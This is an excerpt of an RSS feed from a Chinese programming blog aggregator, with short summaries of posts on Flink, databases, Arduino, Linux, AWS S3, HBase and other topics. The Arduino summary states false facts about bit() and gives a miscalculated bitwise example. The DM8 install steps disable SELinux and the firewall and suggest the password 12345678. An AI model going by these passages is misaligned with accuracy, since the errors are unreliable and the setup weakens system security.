{ip}:{port} is alive&#34;) # 关闭socket连接 sock.close() except socket.error as e: print(f&#34;</description>
    </item>
    <item>
      <title>flink中值得监控的几个指标</title>
      <link>https://bchobby.github.io/posts/768aa806a790b62b5a245e9631919c1f/</link>
      <pubDate>Fri, 29 Dec 2023 19:54:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/768aa806a790b62b5a245e9631919c1f/</guid>
      <description>背景 为了维持flink的正常运行，对flink的日常监控就变得很重要，本文我们就来看一下flink中要监控的几个重要的指标&#xA;重要的监控指标 1.算子的处理速度的指标：numRecordsInPerSecond/numRecordsOutPerSecond,这有助于你了解到算子的是否正在合理运行&#xA;2.应用的监控度： uptime表示应用已经持续运行的时间，numRestarts表示job被重启的次数，重启的原因很多种，比如内存占用过多被killed等&#xA;3.检查点健康度： numberOfCompletedCheckpoints表示已经完成的检查点数目, numberOfFailedCheckpoints表示未能完成的检查点数目(比如因为状态太多导致超时等未能完成checkpoint操作),&#xA;numberOfInProgressCheckpoints表示正在进行中的检查点数目,lastCheckpointDuration表示检查点的持续时间，过长的时间会导致checkpoint失败，&#xA;lastCheckpointFullSize表示检查点的大小，这可以帮你检查应用状态大小是否正常&#xA;4.基于事件时间的应用的处理延迟：可以对比eventtime和当前时间的延迟，这可以知道是否发生了数据倾斜等问题，导致watermark一直未能前进&#xA;5.jvm和容器指标：Jvm使用的内存/cpu大小，容器使用的内存大小(包括jvm+其他组件)</description>
    </item>
    <item>
      <title>商品销售数据采集分析可视化系统 京东商品数据爬取&#43;可视化 大数据 python计算机毕业设计（附源码）✅</title>
      <link>https://bchobby.github.io/posts/05c3ffcf8885d0d2b60688b69a8e1f74/</link>
      <pubDate>Fri, 29 Dec 2023 19:45:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05c3ffcf8885d0d2b60688b69a8e1f74/</guid>
      <description>博主介绍：✌全网粉丝10W+,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久，选择我们就是选择放心、选择安心毕业✌感兴趣的可以先收藏起来，点赞、关注不迷路✌&#xA;毕业设计：2023-2024年计算机毕业设计1000套（建议收藏）&#xA;毕业设计：2023-2024年最新最全计算机专业毕业设计选题汇总&#xA;1、项目介绍 技术栈：&#xA;Python语言、Flask框架、Vue框架、requests爬虫、Echarts可视化、MySQL数据库、HTML&#xA;使用爬虫爬取京东商品信息数据，对数据进行清洗、存储、分析展示&#xA;2、项目界面 （1）商品价格可视化分析&#xA;（2）商品价格区间分析&#xA;（3）商品数据信息&#xA;（4）店铺评分排名&#xA;（5）平均价格排名&#xA;（6）商品评论分析&#xA;（7）后台数据管理&#xA;3、项目说明 （1）介绍 使用爬虫爬取[京东商品信息]数据，对数据进行清洗、存储、分析展示，应用Python爬虫、Flask框架、Vue、Echarts等技术实现。此系统适用于目标网站任何类型的商品分析。&#xA;（2）系统功能 1、数据概览 ​ 使用爬虫爬取京东商品数据后，将数据在此模块进行展示。所有爬虫在文章后面进行介绍&#xA;​ 搜索：输入商品标题，可对商品进行模糊查询&#xA;​ 获取评论：管理员功能,点击此按钮调用获取评论爬虫，开始获取对应商品的评论信息，默认爬5页，可在程序中修改爬取页数&#xA;​ 获取店铺信息：管理员功能，点击此按钮调用获取店铺信息爬虫，获取该商品对应店铺的信息，包括店铺星级、店铺评分等&#xA;​ 详情：点击详情按钮，跳转到商品详情页面&#xA;​ 店铺：点击按钮，跳转到店铺页面&#xA;2、商品价格排名 ​ 将所有商品的价格进行排序，使用echarts柱状图从高到低展示前20条数据。支持按照店铺查询店内商品排名&#xA;​ 搜索：选择店铺（可以输入）后点击搜索，查询该店铺所有商品排名&#xA;3、店铺星级排名 ​ 对已获取信息的店铺星级进行排序，使用echarts折线图进行展示。&#xA;4、店铺评分排名 ​ 对已获取信息的店铺评分进行排序，可分别展示商品评分，物流评分和售后评分。&#xA;5、店铺均价排名 ​ 计算所有店铺的商品均价，使用echarts折线图从高到低展示前20条数据。&#xA;6、评论分析 ​ 展示评论信息的词云图和评分占比，使用词云和饼状图实现。可根据条件展示不同的结果&#xA;​ 店铺空、商品空：展示所有数据的评论信息词云，以及评分占比&#xA;​ 店铺不空、商品空：展示该店铺的评论信息词云，以及评分占比&#xA;​ 店铺不空、商品不空：展示该商品的评论信息词云，以及评分占比&#xA;7、个人信息 ​ 用户查看个人信息，输入新的信息点击提交，可更新个人信息&#xA;9、修改密码 ​ 输入原密码与新密码，可修改密码&#xA;10、登录注册 ​ 用户登录注册&#xA;11、用户管理 ​ 该功能是管理员功能，管理用户信息&#xA;​ 新增：点击新增按钮，输入用户信息，可添加新用户</description>
    </item>
    <item>
      <title>达梦数据库文档</title>
      <link>https://bchobby.github.io/posts/c680d6ddfb0802f34b17acdd412febd0/</link>
      <pubDate>Fri, 29 Dec 2023 19:27:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c680d6ddfb0802f34b17acdd412febd0/</guid>
      <description>1：达梦数据库(DM8)简介 达梦数据库管理系统是武汉达梦公司推出的具有完全自主知识产权的高性能数据库管理系统，简称DM。达梦数据库管理系统目前最新的版本是8.0版本，简称DM8。&#xA;DM8是达梦公司在总结DM系列产品研发与应用经验的基础上，坚持开放创新、简洁实用的理念，推出的新一代自研数据库。&#xA;DM8吸收借鉴当前先进新技术思想与主流数据库产品的优点，融合了分布式、弹性计算与云计算的优势，对灵活性、易用性、可靠性、高安全性等方面进行了大规模改进，多样化架构充分满足不同场景需求，支持超大规模并发事务处理和事务-分析混合型业务处理，动态分配计算资源，实现更精细化的资源利用、更低成本的投入。一个数据库，满足用户多种需求，让用户能更加专注于业务发展。&#xA;2：达梦数据在Linux上的安装 产品下载 | 达梦数据库，选择X86，CentOS7&#xA;2.1：操作系统环境准备 本次使用的系统版本是CentOS Linux release 7.6.1810 (Core)&#xA;[root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) 2.2：上传所需文件到/opt/soft [root@localhost soft]# ls dm8_20231116_x86_rh6_64.zip 2.3：创建安装用户dmdba和组dinstall，并设置用户密码 [root@localhost ~]# groupadd dinstall [root@localhost ~]# useradd -s /bin/bash -m -d /home/dmdba -g dinstall dmdba [root@blocalhost ~]# passwd dmdba //这里需要设置一个密码，可以设置为 12345678 2.4：关闭SELinux [root@localhost soft]# vi /etc/selinux/config SELINUX=disabled #关闭防火墙 systemctl stop firewalld systemctl disable firewalld 2.5：给dmdba配置系统资源限制 [root@blocalhost ~]# vi /etc/security/limits.conf dmdba soft nofile 65536 dmdba hard nofile 65536 dmdba soft nproc 65536 dmdba hard nproc 65536 dmdba soft stack 16384 dmdba hard stack 32768 用dmdba用户登录系统，查看ulimit参数是否生效： ulimit -a（注意：要切换到dmdba用户进行查看） [root@localhost soft]# su dmdba [dmdba@localhost soft]$ ulimit -a core file size (blocks, -c) unlimited data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 31078 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 65536 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 4096 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited 2.</description>
    </item>
    <item>
      <title>【雕爷学编程】Arduino 手册之位操作 bit()</title>
      <link>https://bchobby.github.io/posts/ba6df1b20f058ca74c7a67ff62041954/</link>
      <pubDate>Fri, 29 Dec 2023 19:15:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba6df1b20f058ca74c7a67ff62041954/</guid>
      <description>什么是Arduino？&#xA;Arduino 是一款开源的电子原型平台，它可以让你用简单的硬件和软件来创建各种创意的项目。无论你是初学者还是专家，Arduino 都能为你提供无限的可能性。你可以用 Arduino 来控制传感器、灯光、马达、机器人、物联网设备等等，只要你能想到的，Arduino 都能帮你实现。&#xA;如果你想了解更多关于 Arduino 的信息，你可以访问 Arduino 的官方网站，那里有丰富的资源和教程供你参考。你也可以加入 Arduino 的社区，和来自世界各地的爱好者、学生、设计师和工程师交流心得和经验。此外，你还可以使用 Arduino 的在线编程工具，在云端编写代码并上传到你的开发板上。&#xA;Arduino 是一个不断发展和创新的平台，它有着广泛的应用领域和潜力。这里希望本手册能激发你对 Arduino 的兴趣和热情，让你享受 Arduino 带来的创造力和乐趣。&#xA;维基百科的定义&#xA;Arduino 是一个开源嵌入式硬件平台，用来供用户制作可交互式的嵌入式项目。此外 Arduino 作为一个开源硬件和开源软件的公司，同时兼有项目和用户社群。该公司负责设计和制造Arduino电路板及相关附件。这些产品按照GNU宽通用公共许可证（LGPL）或GNU通用公共许可证（GPL）许可的开源硬件和软件分发的，Arduino 允许任何人制造 Arduino 板和软件分发。 Arduino 板可以以预装的形式商业销售，也可以作为 DIY 套件购买。&#xA;Arduino 2005 年时面世，作为意大利伊夫雷亚地区伊夫雷亚互动设计研究所的学生设计，目的是为新手和专业人员提供一种低成本且简单的方法，以建立使用传感器与环境相互作用的装置。初学者和爱好者可用Arduino制造传感器、简单机器人、恒温器和运动检测器等装置。&#xA;Arduino 这个名字来自意大利伊夫雷亚的一家酒吧，该项目的一些创始人过去常常会去这家酒吧。 酒吧以伊夫雷亚的 Arduin（Arduin of Ivrea）命名，他是伊夫雷亚边疆伯爵，也是 1002 年至 1014 年期间的意大利国王。&#xA;十九、Arduino 位操作 bit()&#xA;Arduino的bit()是一个函数，用于返回一个数值，该数值只有指定位置的二进制位为1，其他位都为0。这个函数可以用于处理多位的数据，比如byte、int、long等，或者进行位运算。&#xA;bit()的适用范围：&#xA;1）用于创建一个掩码，用于与其他数值进行位与或位或运算，以设置或清除某些位的状态。例如，如果要设置一个byte类型的变量的最高位为1，可以用bit(7)创建一个掩码，然后与原变量进行位或运算。&#xA;2）用于检测一个数值的某一位的状态，用于与其他数值进行位与运算，以判断该位是否为1。例如，如果要检测一个byte类型的变量的最高位是否为1，可以用bit(7)创建一个掩码，然后与原变量进行位与运算，如果结果不为0，则说明该位为1。&#xA;3）用于将多个单独的位组合成一个数值，用于与其他数值进行位或运算，以生成一个新的数值。例如，如果要将一个byte类型的变量的第0、2、4、6位都设置为1，可以用bit(0)、bit(2)、bit(4)、bit(6)创建四个掩码，然后依次与原变量进行位或运算。&#xA;主要应用场景：&#xA;1）读取传感器数据：在许多应用中，传感器的输出通常是一个字节或整数，其中的特定位表示特定的传感器数据。使用bit()函数可以方便地读取特定位的值，从而获取传感器的具体数据。&#xA;2）判断标志位：在某些情况下，使用位来表示特定的标志位，例如开关状态、使能标志、错误标志等。bit()函数可以将字节或整数中特定位的值提取出来，以便进行相应的判断或处理。&#xA;3）位操作中的辅助操作：bit()函数常常被用作位操作中的辅助函数，与其他位操作函数结合使用，以实现更复杂的位操作逻辑。&#xA;bit()的使用注意事项有以下几点：&#xA;bit()只能作用于一个常量，不能作用于一个变量或表达式。例如，bit(x)是错误的写法，应该先将x赋值给一个常量，然后再用bit()提取。&#xA;bit()返回的是一个无符号长整型（unsigned long）的值，范围是0~4294967295。如果要将其转换为其他类型，需要进行强制类型转换。例如，如果要将其转换为byte类型，需要写成byte(bit(n))。&#xA;bit()只能提取0~31位置的二进制位的值。如果要提取其他位置的位的值，需要使用其他方法。例如，如果要提取第32位的值，可以先右移31位，然后再用bit(0)提取。&#xA;以下是Arduino的bit()几个实际运用程序案例：&#xA;例1：创建一个掩码&#xA;//定义一个byte类型的变量 byte x = 0b10101010; //创建一个掩码 byte mask = bit(7); //10000000 //设置最高位为1 x = x | mask; //10101010 | 10000000 = 11101010 //打印修改后的结果 Serial.</description>
    </item>
    <item>
      <title>初识linux</title>
      <link>https://bchobby.github.io/posts/66bb185c76b29d8b802d3c269139d909/</link>
      <pubDate>Fri, 29 Dec 2023 19:06:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66bb185c76b29d8b802d3c269139d909/</guid>
      <description>👏作者简介：大家好，我是爱吃芝士的土豆倪，24届校招生Java选手，很高兴认识大家📕系列专栏：Spring源码、JUC源码、Kafka原理、分布式技术原理、数据库技术🔥如果感觉博主的文章还不错的话，请👍三连支持👍一下博主哦🍂博主正在努力完成2023计划中：源码溯源，一探究竟📝联系方式：nhs19990716，加我进群，大家一起学习，一起进步，一起对抗互联网寒冬👀 文章目录 Linux 入门概述Linux 和 Windows 区别安装 VI/VIM编辑器简介测试编辑模式指令模式基本语法案例实操模式转换 网络修改hosts映射文件 系统管理Linux 中的进程和服务service 服务管理（CentOS 6 版本-了解）chkconfig 设置后台服务的自启配置（CentOS 6 版本）systemctl （CentOS 7 版本-重点掌握）systemctl 设置后台服务的自启配置关机重启命令 常用基本命令（重要）帮助命令man 获得帮助信息help 获得 shell 内置命令的帮助信息常用快捷键 文件目录类pwd 显示当前工作目录的绝对路径ls 列出目录的内容cd 切换目录mkdir 创建一个新的目录rmdir 删除一个空的目录touch 创建空文件cp 复制文件或目录rm 删除文件或目录mv 移动文件与目录或重命名cat 查看文件内容more 文件内容分屏查看器less 分屏显示文件内容echohead 显示文件头部内容tail 输出文件尾部内容&amp;gt;输出重定向和 &amp;gt;&amp;gt; 追加history 查看已经执行过历史命令 时间日期类date 显示当前时间date 显示非当前时间date 设置系统时间cal 查看日历 搜索查找类find 查找文件或者目录locate 快速定位文件路径grep 过滤查找及“|”管道符 磁盘查看和分区类du 查看文件和目录占用的磁盘空间df 查看磁盘空间使用情况 进程管理类ps 查看当前系统进程状态kill 终止进程pstree 查看进程树top 实时监控系统进程状态netstat 显示网络状态和端口占用信息 经典面试题百度瓜子二手车 Linux 入门 概述 Linux 和 Windows 区别 安装 1.</description>
    </item>
    <item>
      <title>交叉编译aarch64架构支持openssl的curl、libcurl</title>
      <link>https://bchobby.github.io/posts/fb31d43eeea170567b8edc4d0834d640/</link>
      <pubDate>Fri, 29 Dec 2023 19:01:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb31d43eeea170567b8edc4d0834d640/</guid>
      <description>本文档旨在指导读者在x86_64平台上交叉编译curl和openssl库以支持aarch64架构。在开始之前，请确保您的系统环境已正确配置。&#xA;1. 系统环境准备 系统是基于Ubuntu 20.04 LTS，高版本可能会有问题。首页，安装必要的开发工具和库文件。打开终端并执行以下命令：&#xA;sudo apt-get update sudo apt-get install build-essential cmake gcc-aarch64-linux-gnu g++-aarch64-linux-gnu autoconf automake libtool 这些软件包将为您提供编译过程中所需的基本工具链。&#xA;2. OpenSSL交叉编译 2.1 支持的CPU架构 在开始交叉编译之前，请注意OpenSSL 1.1.1w支持广泛的CPU架构，包括aarch64。确保您的目标平台与此版本兼容。目录支持架构如下：&#xA;BS2000-OSD BSD-generic32 BSD-generic64 BSD-ia64 BSD-sparc64 BSD-sparcv8 BSD-x86 BSD-x86-elf BSD-x86_64 Cygwin Cygwin-i386 Cygwin-i486 Cygwin-i586 Cygwin-i686 Cygwin-x86 Cygwin-x86_64 DJGPP MPE/iX-gcc OS390-Unix QNX6 QNX6-i386 UEFI UWIN VC-CE VC-WIN32 VC-WIN64A VC-WIN64A-masm VC-WIN64I aix-cc aix-gcc aix64-cc aix64-gcc android android-armeabi android-mips android-x86 android64 android64-aarch64 bsdi-elf-gcc cc darwin-i386-cc darwin-ppc-cc darwin64-debug-test-64-clang darwin64-ppc-cc darwin64-x86_64-cc dist gcc haiku-x86 haiku-x86_64 hpux-ia64-cc hpux-ia64-gcc hpux-parisc-cc hpux-parisc-gcc hpux-parisc1_1-cc hpux-parisc1_1-gcc hpux64-ia64-cc hpux64-ia64-gcc hpux64-parisc2-cc hpux64-parisc2-gcc hurd-x86 ios-cross ios64-cross iphoneos-cross irix-mips3-cc irix-mips3-gcc irix64-mips4-cc irix64-mips4-gcc linux-aarch64 linux-alpha-gcc linux-aout linux-arm64ilp32 linux-armv4 linux-c64xplus linux-elf linux-generic32 linux-generic64 linux-ia64 linux-mips32 linux-mips64 linux-ppc linux-ppc64 linux-ppc64le linux-sparcv8 linux-sparcv9 linux-x32 linux-x86 linux-x86-clang linux-x86_64 linux-x86_64-clang linux32-s390x linux64-mips64 linux64-s390x linux64-sparcv9 mingw mingw64 nextstep nextstep3.</description>
    </item>
    <item>
      <title>解决LocalDateTime 时间格式中间带’T’返回的问题（小心踩坑）</title>
      <link>https://bchobby.github.io/posts/61b8d39b7fad070c3277bddd69261096/</link>
      <pubDate>Fri, 29 Dec 2023 18:56:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61b8d39b7fad070c3277bddd69261096/</guid>
      <description>解决LocalDateTime 时间格式中间带’T’返回的问题 前言：在一次工作开发过程中，LocalDateTime 类型的字段返回给前端带着T，然后被测试无情的提了一个bug，然后只能使用百度大法了，结果发现网上全是一堆相同的答案，且是无效无用的，只能自己实践整理一版有效的使用出来。&#xA;PS：要看自己的项目是数据序列化是不是用fastJson序列化（很重要，因为这个导致很多正常有效的都变无效了，我就是踩这个坑）&#xA;首先我们先了解Date和LocalDateTime 的源码返回格式 下面是Date的toString方法的源码，里面返回的字符格式就是日常使用的&#xA;public String toString() { // &#34;EEE MMM dd HH:mm:ss zzz yyyy&#34;; BaseCalendar.Date date = normalize(); StringBuilder sb = new StringBuilder(28); int index = date.getDayOfWeek(); if (index == BaseCalendar.SUNDAY) { index = 8; } convertToAbbr(sb, wtb[index]).append(&#39; &#39;); // EEE convertToAbbr(sb, wtb[date.getMonth() - 1 + 2 + 7]).append(&#39; &#39;); // MMM CalendarUtils.sprintf0d(sb, date.getDayOfMonth(), 2).append(&#39; &#39;); // dd CalendarUtils.sprintf0d(sb, date.getHours(), 2).append(&#39;:&#39;); // HH CalendarUtils.sprintf0d(sb, date.</description>
    </item>
    <item>
      <title>【VTK-Rendering::Annotation】第一期 vtkCaptionActor2D</title>
      <link>https://bchobby.github.io/posts/ee55626349280d951ec02b22f9162e92/</link>
      <pubDate>Fri, 29 Dec 2023 18:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee55626349280d951ec02b22f9162e92/</guid>
      <description>很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ：870202403&#xA;前言 本文分享vtkCaptionActor2D源码解析，希望对各位小伙伴有所帮助！&#xA;感谢各位小伙伴的点赞+关注，小易会继续努力分享，一起进步！&#xA;你的点赞就是我的动力(＾Ｕ＾)ノ~ＹＯ&#xA;目录&#xA;前言&#xA;1. vtkCaptionActor2D概述&#xA;2. 重要参数&#xA;2.1 定义标注文本&#xA;2.2 设置标注附着点&#xA;2.3 设置是否启用边框 2.4 设置是否启用标注到附着点的引导线&#xA;2.5 指定2D或3D箭头&#xA;2.6 设置文本与包围盒的距离&#xA;2.7 设置文本属性&#xA;2.8 设置箭头是否在Edge上附着 3. 原理解析&#xA;3.1 vtkBorderRepresentation原理解析&#xA;结论：&#xA;1. vtkCaptionActor2D概述 vtkCaptionActor2D是一个2DActor和3DActor混合的对象，用于将文本与场景中的点(AttachmentPoint)相关联。可以使用矩形边框和将标题连接到附着点的引线来绘制标题。可选地，可以在leader的端点处对其进行符号化，以创建箭头或其他指示符。&#xA;使用vtkCaptionActor2D时，必须指定Position和Position2两个点。Position和Position2定义标题的大小，AttachmentPoint定义标题所关联的点。还必须定义标题文本、是否希望在标题周围设置边框，以及是否希望在标题到附件点之间设置一个引线。&#xA;文本的属性通过关联的vtkTextProperty进行设置。引线可以设置为2D或3D。（2D绘制在底层几何上，3D三维引线可能被几何遮挡。）&#xA;2. 重要参数 2.1 定义标注文本 //@{ /** * Define the text to be placed in the caption. The text can be multiple * lines (separated by &#34;\n&#34;). * 定义标注的文本，文本可以多行（通过&#34;\n&#34;进行分隔） */ virtual void SetCaption(const char* caption); virtual char* GetCaption(); //@} 2.</description>
    </item>
    <item>
      <title>共享单车之数据分析</title>
      <link>https://bchobby.github.io/posts/fb614871234e687cf2bde84a5ab3460b/</link>
      <pubDate>Fri, 29 Dec 2023 18:45:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb614871234e687cf2bde84a5ab3460b/</guid>
      <description>文章目录 第1关：统计共享单车每天的平均使用时间第2关：统计共享单车在指定地点的每天平均次数第3关：统计共享单车指定车辆每次使用的空闲平均时间第4关：统计指定时间共享单车使用次数第5关：统计共享单车线路流量 第1关：统计共享单车每天的平均使用时间 任务描述&#xA;本关任务：使用Hbase的MapReduce对已经存在 Hbase 的共享单车运行数据进行分析，统计共享单车每天的平均使用时间，其中共享单车运行数据在Hbase的t_shared_bicycle表中（表结构可在编程要求中进行查看）。&#xA;相关知识&#xA;为了完成本关任务，你需要掌握：&#xA;如何配置Hbase的MapReduce类；&#xA;如何使用Hbase的MapReduce进行数据分析。&#xA;如何配置Hbase的MapReduce类&#xA;MapReduce是运行在Job上的一个并行计算框架，分为Map节点和Reduce节点。&#xA;Hbase提供了org.apache.hadoop.hbase.mapreduce.TableMapReduceUtil的initTableMapperJob和initTableReducerJob两个方法来完成MapReduce的配置。&#xA;initTableMapperJob 方法:&#xA;/**&#xA;*在提交TableMap作业之前使用它。 它会适当地设置&#xA;* 工作。&#xA;*&#xA;* @param table要读取的表名。&#xA;* @param scan具有列，时间范围等的扫描实例。&#xA;* @param mapper要使用的mapper类。&#xA;* @param outputKeyClass输出键的类。&#xA;* @param outputValueClass输出值的类。&#xA;* @param job当前要调整的工作。 确保传递的作业是&#xA;*携带所有必要的HBase配置。&#xA;* @throws IOException设置细节失败。&#xA;*/&#xA;public static void initTableMapperJob(String table, Scan scan,&#xA;Class&amp;lt;? extends TableMapper&amp;gt; mapper, Class&amp;lt;?&amp;gt; outputKeyClass,&#xA;Class&amp;lt;?&amp;gt; outputValueClass, Job job)&#xA;throws IOException&#xA;/ **&#xA;initTableReducerJob 方法:</description>
    </item>
    <item>
      <title>微信小程序分包，分包预加载</title>
      <link>https://bchobby.github.io/posts/965ec07399dbb9ff6d5d0f2803f9d64a/</link>
      <pubDate>Fri, 29 Dec 2023 18:38:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/965ec07399dbb9ff6d5d0f2803f9d64a/</guid>
      <description>我先来说一下我为啥要分包&#xA;1.小程序比较庞大，页面比较多&#xA;2.需要本地引入的图片静态资源比较多造成小程序超过2MB&#xA;3.为了方便&#xA;okok 开始分包。其实很简单，做个简单比喻。&#xA;其实就像吃火锅，一个锅一次性把食材全部放下去吃跟吃一点放一点没什么区别，最后都是要吃完这顿火锅，这个分包就跟这个类似。&#xA;多的不说少的不唠开始。我这里拿我的一个项目来浅浅的演示一下。&#xA;首先先查看自己的项目包大小，点右上角的详情可以看到，这里已经可以看到明显超出2MB了&#xA;打包上传必定会失败，一般就是下面这种报错。原因就是你的小程序超过2MB上传失败了。&#xA;分包我们需要在pages同等级目录下再创建一个目录&#xA;比如这样 我在pages同等级目录创建了一个pagesA目录。这个pagesA目录跟咱们的pages类似，可以说一摸一样，不过要注意的是需要在pages.json里面配置一下。配置方法也很简单都有提示。&#xA;这里我配置完新建了一个页面，就跟在pages下面建页面是一摸一样。注意在建页面的时候选择在pages.json里面注册。&#xA;ok 这样基本就完了，在看一下项目详情。&#xA;这里就会显示你有两个包了 一个主包一个咱们新建的pagesA的包。&#xA;分包预加载就更简单了，直接在pages.json里面写 上面pages/index/index 代表你要在那个页面进行分包的加载，代码都有提示。&#xA;&#34;preloadRule&#34;:{ &#34;pages/index/index&#34;: { &#34;network&#34;: &#34;wifi&#34;, &#34;packages&#34;: [&#34;pagesA&#34;] } }, 这样就可以把项目中比较复杂的模块或者一些页面单独分离出来建一个包，让小程序的主包不会超出2MB从而不影响项目的真机测试和上线。分包最好在项目初期就确定好，血的教训啊！！！！</description>
    </item>
    <item>
      <title>通过AWS Endpoints从内网访问S3</title>
      <link>https://bchobby.github.io/posts/62f4b3df75257bd79f3d4a396c37b91c/</link>
      <pubDate>Fri, 29 Dec 2023 18:25:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62f4b3df75257bd79f3d4a396c37b91c/</guid>
      <description>AWS S3作为非结构化数据的存储，经常会有内网中的app调用的需求。S3默认是走公网访问的，如果内网app通过公网地址访问S3并获取数据会消耗公网带宽费用。如下图所示：&#xA;AWS 提供了一种叫做endpoints的资源，这种资源可以后挂S3服务，使得内网服务可以不出公网访问S3.&#xA;VPC endpoints for Amazon S3 simplify access to S3 from within a VPC by providing configurable and highly reliable secure connections to S3 that do not require an internet gateway or Network Address Translation (NAT) device. When you create a S3 VPC endpoint, you can attach an endpoint policy to it that controls access to Amazon S3.&#xA;创建endpoints时，如果是S3，需选择gateway类型。&#xA;There are three types of VPC endpoints – Interface endpoints, Gateway Load Balancer endpoints, and Gateway endpoints.</description>
    </item>
    <item>
      <title>Linux升级指南：保持系统安全和高效运行</title>
      <link>https://bchobby.github.io/posts/cc6374146f9d3bf604a63dfeac9688ba/</link>
      <pubDate>Fri, 29 Dec 2023 18:14:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc6374146f9d3bf604a63dfeac9688ba/</guid>
      <description>Linux系统的升级是确保系统稳定和安全性的重要步骤。本文将介绍Linux系统升级的基本概念，以及具体的操作步骤和注意事项，以帮助用户顺利升级他们的Linux系统。&#xA;Linux操作系统以其稳定性和可定制性而闻名，它经常通过升级来提供新的功能、修复漏洞和提高性能。在这篇文章中，我们将讨论Linux系统升级的重要性以及如何进行升级。&#xA;为什么要升级Linux系统 Linux系统升级的主要目的是确保系统的稳定性和安全性。通过升级，您可以获得以下优势：&#xA;修复漏洞: Linux社区会定期发布安全补丁，以修复已知漏洞。升级系统可以确保您的系统受到最新的安全修复的保护。&#xA;新功能: Linux社区不断创新，为用户带来新的功能和改进。通过升级，您可以获得最新的功能和性能提升，以提高您的系统体验。&#xA;应用程序兼容性: 通过升级系统，您可以确保您的系统与最新的应用程序和库文件保持兼容，从而避免可能的兼容性问题。 性能优化: 升级Linux系统通常会带来性能的提升，包括更好的内存管理、文件系统优化以及更高效的资源利用。这些改进可以增加系统的响应速度和整体的运行效率。&#xA;易用性改进: Linux系统的升级通常会伴随着用户界面的改进和功能的增加，使系统更加易于使用和操作。新的图形界面、工具和命令可以提高您的工作效率和使用体验。&#xA;社区支持: 升级到最新的Linux系统版本，您可以获得更完善的社区支持。有更新的文档、教程和解决方案可用于您遇到的问题，您可以更快速地获取技术支持和寻求解决方案。&#xA;如何升级Linux系统 升级Linux系统通常有几种方法，取决于您当前使用的发行版和个人偏好。&#xA;包管理器: 大多数Linux发行版都提供了包管理器，如apt、yum、dnf等。您可以使用包管理器来更新和升级系统的软件包。只需运行相应的命令，您的系统将会自动下载和安装最新的软件包。&#xA;发行版升级: 如果您希望更新整个操作系统，而不仅仅是软件包，您可以考虑进行发行版的升级。每个发行版都有相应的升级指南，您可以按照指南中的步骤来完成系统的升级。&#xA;源代码编译: 如果您对Linux系统有深入的了解，并且喜欢自定义您的系统，您可以选择从源代码编译安装最新版本的内核和软件。这需要一些专业知识和技术能力。&#xA;请注意，在进行系统升级之前，建议备份您的数据和配置文件，以防发生意外情况。另外，如果您使用的是生产环境的系统，建议先在测试环境中进行升级，以确保升级过程不会影响到关键业务的正常运行。&#xA;Linux系统升级是确保系统稳定性和安全性的关键步骤。通过升级，您可以修复漏洞、获得新功能、提升性能、改善易用性并享受社区支持。根据您的需求和技术水平，选择适合的升级方法，并确保做好备份工作，以确保升级过程的顺利进行。&#xA;升级Linux系统的步骤 以下是升级Linux系统的一般步骤：&#xA;备份数据: 在升级之前，务必备份重要的数据。尽管大多数升级过程是安全的，但备份可以保护您免受任何意外数据丢失的影响。&#xA;更新软件源: 在升级之前，确保您的软件源是最新的。您可以使用适用于您的Linux发行版的特定命令或工具来更新软件源。&#xA;更新系统: 运行升级命令来更新您的Linux系统。具体的命令可能因您使用的发行版而异。大多数发行版都提供了基于命令行或图形界面的工具来执行升级操作。&#xA;重启系统: 在升级完成后，建议重新启动系统以应用所有的更改和更新。重新启动可以确保新的内核和库文件得到正确加载和使用。&#xA;注意事项和建议 在升级Linux系统时，以下是一些建议和注意事项：&#xA;确保有可靠的互联网连接: 在升级过程中，您需要下载和安装大量的软件包和更新，因此确保您的网络连接稳定和高速。&#xA;不要中断升级过程: 在进行升级时，尽量不要中断升级过程。意外的系统中断可能导致操作系统损坏或不稳定。&#xA;关注升级提示: 在执行升级过程中，系统可能会要求您进行一些额外的操作。请仔细阅读并按照系统提示进行操作。&#xA;验证升级结果: 在升级完成后，建议您验证系统的版本和安装的软件包是否与预期一致。使用适当的命令或工具来检查系统和软件的版本信息。&#xA;结论 在这篇文章中，我们讨论了Linux系统升级的重要性以及相关的操作步骤和注意事项。通过定期升级Linux系统，您可以确保系统的稳定性、安全性以及享受最新功能的好处。请记住，在进行任何升级之前，务必备份重要的数据，并遵循官方文档和社区支持以获得最佳的升级体验。&#xA;体验地址：引迈 - JNPF快速开发平台_低代码开发平台_零代码开发平台_流程设计器_表单引擎_工作流引擎_软件架构</description>
    </item>
    <item>
      <title>【C&#43;&#43;】引用详解</title>
      <link>https://bchobby.github.io/posts/f4f7d8344a6c50867493bb16388acf45/</link>
      <pubDate>Fri, 29 Dec 2023 18:12:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4f7d8344a6c50867493bb16388acf45/</guid>
